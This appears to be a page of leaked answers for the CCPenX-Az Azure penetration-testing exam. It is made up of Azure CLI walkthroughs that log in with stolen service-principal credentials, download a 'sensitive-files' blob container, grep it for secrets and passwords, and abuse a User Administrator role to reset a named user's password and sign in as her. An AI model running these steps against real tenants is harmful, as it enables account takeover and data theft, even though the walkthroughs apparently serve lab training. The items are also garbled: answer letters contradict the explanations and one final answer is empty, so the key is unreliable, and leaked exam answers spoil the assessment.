Important The SecOps Group CCPenX-Az Exam Questions

Answer: A

Explanation:

Detailed Solution:

Use the app registration credentials recovered from blob storage.

az login --service-principal \

-u '<client-id>' \

-p '<client-secret>' \

--tenant f015f36d-c07f-41fb-9bde-fffc3a22ee8b

Confirm that you are authenticated as a service principal:

az account show

Now enumerate role assignments for the app registration.

az role assignment list \

--assignee '<client-id>' \

--all \

--output table

If the --assignee lookup fails, first resolve the service principal object ID:

az ad sp show \

--id '<client-id>' \

--query id \

--output tsv

Then query role assignments by object ID:

SP_OBJECT_ID=$(az ad sp show --id '<client-id>' --query id -o tsv)

az role assignment list \

--assignee '$SP_OBJECT_ID' \

--all \

--output table

The assigned role is:

Key Vault Secrets User

This role allows the principal to read secret values from Azure Key Vault. That is the lateral movement path into the final flag.

Final Answer:

A . Key Vault Secrets User

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Answer: A

Explanation:

The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.

Detailed Solution:

List blobs inside the accessible container:

az storage blob list \

--account-name excaliburstore \

--container-name sensitive-files \

--sas-token '$SAS' \

--query '[].name' \

--output table

Download all files locally:

mkdir blobloot

az storage blob download-batch \

--account-name excaliburstore \

--source sensitive-files \

--destination blobloot \

--sas-token '$SAS'

Search the downloaded files for application credentials:

grep -RniE 'clientId|appId|applicationId|clientSecret|tenantId|secret|password' blobloot

On Windows PowerShell:

Select-String -Path .\blobloot\* -Pattern 'clientId|appId|applicationId|clientSecret|tenantId|secret|password' -CaseSensitive:$false

A typical file may look like this:

{

'tenantId': 'f015f36d-c07f-41fb-9bde-fffc3a22ee8b',

'clientId': '',

'clientSecret': ''

}

The clientId / appId value is the answer.

Final Answer:

Use the clientId / appId value found in the blob credential file.

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Answer: A

Explanation:

The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.

Detailed Solution:

Since the second compromised user is a User Administrator, abuse that role to reset the password of the target user.

az ad user update \

--id lila.nguyen@azuresecops.onmicrosoft.com \

--password 'NewP@ssw0rd12345!' \

--force-change-password-next-sign-in false

Now authenticate as the target user.

az login -u lila.nguyen@azuresecops.onmicrosoft.com -p 'NewP@ssw0rd12345!'

Confirm the login context:

az account show

Check what Azure resources this user can see:

az resource list --output table

Check role assignments:

az role assignment list --all --output table

If the user has storage data-plane permissions, enumerate storage accounts:

az storage account list --output table

If the storage account is known from the lab chain, use it directly:

az storage table list \

--account-name excaliburstore \

--auth-mode login \

--output table

Query each table:

az storage entity query \

--account-name excaliburstore \

--table-name <table-name> \

--auth-mode login \

--output json

A faster method:

for table in $(az storage table list --account-name excaliburstore --auth-mode login --query '[].name' -o tsv); do

echo '===== $table ====='

az storage entity query \

--account-name excaliburstore \

--table-name '$table' \

--auth-mode login \

--output table

done

Search the output for:

Flag

SAS

token

container

storage

secret

The flag discovered in this stage is the Q7 answer.

Final Answer:

Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.nguyen@azuresecops.onmicrosoft.com.

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Answer: D, D

Explanation:

Detailed Solution:

First identify the managed identity attached to the Web App.

az webapp identity show \

--name RnD-Tools \

--resource-group Excalibur-Resources \

--output json

You should see a user-assigned managed identity similar to:

{

'userAssignedIdentities': {

'/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.ManagedIdentity/userAssignedIdentities/WebAppTokenIdentity': {

'clientId': 'cf3664d4-5cec-4feb-b0ef-88b7958809df',

'principalId': 'efe89e83-010f-42f6-9576-30531fa47af7'

}

}

}

Now query the role assignments for the managed identity's principal ID:

az role assignment list \

--assignee efe89e83-010f-42f6-9576-30531fa47af7 \

--all \

--output table

The returned custom role is:

AppService-Auditor

That makes option D correct.

Final Answer:

Answer: A

Explanation:

Use az login --service-principal

Detailed Solution:

Command:

az login --service-principal \

-u c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

-p '<client-secret>' \

--tenant 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a

Verify:

az account show --output json

Expected important field:

{

'user': {

'name': 'c5fba7db-5e61-45bc-8944-3cd457bb19c2',

'type': 'servicePrincipal'

}

}

This confirms you are authenticated as the App Registration/service principal.

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